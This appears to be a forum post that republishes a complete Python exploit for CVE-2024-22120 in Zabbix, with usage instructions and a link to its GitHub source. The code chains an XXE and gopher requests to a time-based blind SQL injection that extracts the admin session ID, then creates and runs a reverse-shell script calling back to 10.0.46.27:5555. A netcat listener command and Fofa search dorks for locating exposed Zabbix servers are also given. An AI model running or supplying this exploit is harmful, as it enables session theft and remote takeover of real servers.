Description
Zabbix server can perform command execution for configured scripts. After command is executed, audit entry is added to "Audit Log". Due to "clientip" field is not sanitized, it is possible to injection SQL into "clientip" and exploit time based blind SQL injection.
Usage
Код:
python exploit.py --ip <Zabbix_IP> --sid <LowPrivileged_SID> --hostid <HostID> --phpsessid <PHPSESSID> --false_time <FalseTime> --true_time <TrueTime>
Exploit.py :
Python:
import json
import argparse
import requests
from pwn import *
from datetime import datetime
import urllib.request
from urllib.parse import quote_from_bytes
from requests import Session
from bs4 import BeautifulSoup
import base64
RED = '\033[0;31m'
NC = '\033[0;0m'
GREEN = '\033[0;32m'
# This function makes the internal request with gopher
def InternalRequest(ip,endpoint, data, phpsessid):
xml = f"""<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/api/webhook?action=make_request&url=gopher://{endpoint}/_{data}">]>
<root>
<name>
∾</name>
<email>gankd@gankd</email>
<message>gankd</message>
</root>"""
headers = {
"Cookie": f"PHPSESSID={phpsessid}",
"Content-Type": "text/plain;charset=UTF-8",
"Host": f"{ip}",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
}
r = requests.post(f"http://{ip}/contact",data=xml, headers=headers)
r = requests.get(f"http://{ip}/contact", headers=headers)
return r.text
# Function to send message to zabbix database
def SendMessage(ip, phpsessid, sid, hostid, injection):
endpoint = "zabbix-server:10051"
context.log_level = "CRITICAL"
protocol_header = "ZBXD" # Zabbix protocol header
protocol_flags = "\x01" # Flag 0x01: Zabbix communications protocol
message = {
"request": "command",
"sid": sid,
"scriptid": "2",
"clientip": "1' + " + injection + "+ '1",
"hostid": hostid
}
message_json = json.dumps(message)
package = b""
package += protocol_header.encode()
package += protocol_flags.encode()
package += struct.pack("<II", len(message_json) + 2, 0)
package += message_json.encode()
# URL Encoding
encoded = quote_from_bytes(package)
double_encoded = urllib.parse.quote(encoded)
InternalRequest(ip, endpoint, double_encoded, phpsessid)
# Function to discover admin_sessionid
def ExtractAdminSessionId(ip, phpsessid, sid, hostid, time_false, time_true):
session_id = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (substr((select sessionid from sessions where userid=1 limit 1),%d,1)=\"%c\") THEN sleep(%d) ELSE sleep(%d) END)" % (i, c, time_true, time_false)
SendMessage(ip, phpsessid, sid, hostid, query)
after_query = datetime.now().timestamp()
diff = after_query-before_query
print(f"(+) Finding session_id\t sessionid={GREEN}{session_id}{RED}{c}{NC}", end='\r')
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print("(+) session_id=%s" % session_id, flush=True)
break
print(f"(!) sessionid={session_id}")
return session_id
# Url encode
def encode_all(string):
return "".join("%{0:0>2x}".format(ord(char)) for char in string)
# Create a script to execute the reverse shell
def CreateScript(ip, phpsessid):
endpoint = "zabbix-web:8080"
cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.0.46.27/5555 0>&1'"
json_data = {
"jsonrpc":"2.0",
"method":"script.create",
"params":{
"name":"reverse_shell",
"command":f"{cmd}",
"type":0,
"execute_on":2,
"scope":2
},
"auth":admin_sessionid,
"id":0
}
json_length = len(json.dumps(json_data))
data = f"""POST /api_jsonrpc.php HTTP/1.0
Host: zabbix-web:8080
Content-Type: application/json
Content-Length: {json_length}
{json.dumps(json_data)}
"""
# Url encode all
encoded = encode_all(data)
double_encoded = encode_all(encoded)
response = InternalRequest(ip,endpoint, double_encoded, phpsessid)
# Parse response
soup = BeautifulSoup(response, 'html.parser')
span_element = soup.find('span', class_='font-medium text-sm text-green-600 mb-1').get_text()
base64_ = span_element.split(' ')[1]
base64_text = base64_.replace('\n', '').strip()
# Decode base64 and got scriptid
response_text = base64.b64decode(base64_text)
json_text = response_text.decode('utf-8').replace('\n', '').strip()
splitted1 = json_text.split(':')[14]
script_id = splitted1.split('"')[1]
return script_id
# Send a request to trigger the command
def RceExploit(ip, phpsessid, admin_sessionid):
scriptid = CreateScript(ip, phpsessid)
endpoint = "zabbix-web:8080"
json_data = {
"jsonrpc":"2.0",
"method":"script.execute",
"params":{
"scriptid":scriptid,
"hostid":"10084"
},
"auth":admin_sessionid,
"id":0
}
json_length = len(json.dumps(json_data))
data = f"""POST /api_jsonrpc.php HTTP/1.0
Host: zabbix-web:8080
Content-Type: application/json
Content-Length: {json_length}
{json.dumps(json_data)}
"""
# Url encode all
encoded = encode_all(data)
double_encoded = encode_all(encoded)
InternalRequest(ip,endpoint, double_encoded, phpsessid)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2024-22120-RCE-with-gopher")
parser.add_argument("--false_time",
help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
default="1")
parser.add_argument("--true_time",
help="Time to sleep in case of right guess(make it bigger than false time, default=3)",
default="3")
parser.add_argument("--ip", help="External web-server IP")
parser.add_argument("--sid", help="Session ID of low privileged user")
parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid",
default="10051")
parser.add_argument("--phpsessid", help="The PHP session ID used to authenticate requests on external web-server.")
args = parser.parse_args()
admin_sessionid = ExtractAdminSessionId(args.ip, args.phpsessid, args.sid, args.hostid, int(args.false_time), int(args.true_time))
RceExploit(args.ip, args.phpsessid, admin_sessionid)
Summary
This exploit was created to exploit anXXE (XML External Entity). Through it, I read the backend code of the web service and found an endpoint where I could use gopher to make internal requests on Zabbix version 6.0.27 vulnerable to Remote Code Execution.During the reconnaissance phase, I performed a brute-force attack on the external web server to obtain the docker-compose.yml file, which provided the container name of the internal Zabbix servers. Using this information, I sent a POST request to the root of the web application via gopher and the web server returned the host-id and session id of a low-privileged user in a JSON encoded in base64 in the cookie.
With these details, I was able to adapt the original exploit to exploit a SQL Injection vulnerability in
zabbix-server:10051 to obtain the administrator's session ID, and then create and execute a script to achieve remote code execution.If you need to exploit this Zabbix vulnerability using gopher, you can modify the InternalRequest function to make the request in the way you need.
What does the exploit do?
- The script will start by attempting to extract the admin session ID using a time-based SQL injection.
- Once the admin session ID is obtained, the script will create a reverse shell script on the Zabbix server.
- Finally, the script will execute the reverse shell, connecting back to your machine on the specified IP and port (10.0.46.27:5555 in the script).
Notes:
- Make sure that your machine is listening on the specified port (5555 in the script) to catch the reverse shell. You can use
netcatfor this:
nc -lvnp 5555
- Replace the IP
10.0.46.27and port5555in theCreateScriptfunction with your own IP and desired port to receive the reverse shell.
Fofa Dork :
Код:
title="Zabbix" && body="Zabbix SIA"
protocol=="zabbix" && port==10051
Source Github : https://github.com/g4nkd/CVE-2024-22120-RCE-with-gopher
Вложения
Последнее редактирование: